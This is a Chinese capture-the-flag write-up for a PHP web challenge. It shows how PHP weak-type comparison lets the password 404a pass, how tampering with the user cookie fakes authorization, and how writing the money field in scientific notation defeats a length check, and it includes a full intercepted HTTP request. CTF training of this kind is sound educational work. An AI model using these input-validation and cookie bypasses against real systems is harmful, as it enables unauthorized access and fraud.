题目来源:

题目概览

进入环境,如下图所示。有三个关键信息,第一个是100000000 MONEY必须是CUIT的学生密码必须正确

image-20220925200851643

干瞪眼没啥用,太难了家人们,还是看看远处的源代码吧。网页源代码有这么一段注释。

image-20220925201555261

提示我们需要用POST方式传递moneypassword两个值。然后用is_numeric($password)判断变量password的类型是否为数字。需要让password不为数字且==404才能获得密码正确的回显。

1
2
3
4
5
6
7
8
9
10
	~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}

POST传参

$password == 404是弱类型比较,所以让password404a即可绕过。用firefox的Max HackBar传参。

image-20220925202057952

失败了,因为必须要是CUIT的学生才可以购买。再传一次,用burpsuite抓包看看。

改cookie

发现cookie那一栏有个user=0,盲猜这里就是用作判断是否为CUIT的学生。改成user=0然后放包。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /pay.php?http:%252f%252f3c7d97e7-3c78-4822-a8d9-d25d0d78f931.node4.buuoj.cn:81%252fpay.php HTTP/1.1
Host: 3c7d97e7-3c78-4822-a8d9-d25d0d78f931.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://3c7d97e7-3c78-4822-a8d9-d25d0d78f931.node4.buuoj.cn:81
Connection: close
Referer: http://3c7d97e7-3c78-4822-a8d9-d25d0d78f931.node4.buuoj.cn:81/pay.php?http:%252f%252f3c7d97e7-3c78-4822-a8d9-d25d0d78f931.node4.buuoj.cn:81%252fpay.php
Cookie: user=0
Upgrade-Insecure-Requests: 1

money=100000000&password=404a

还是错了,为啥?数字的长度太长了,可能是money太长了。换科学计数法传过去。

image-20220925202505909

money=100000000改成1e9。得到flag。

image-20220925202741561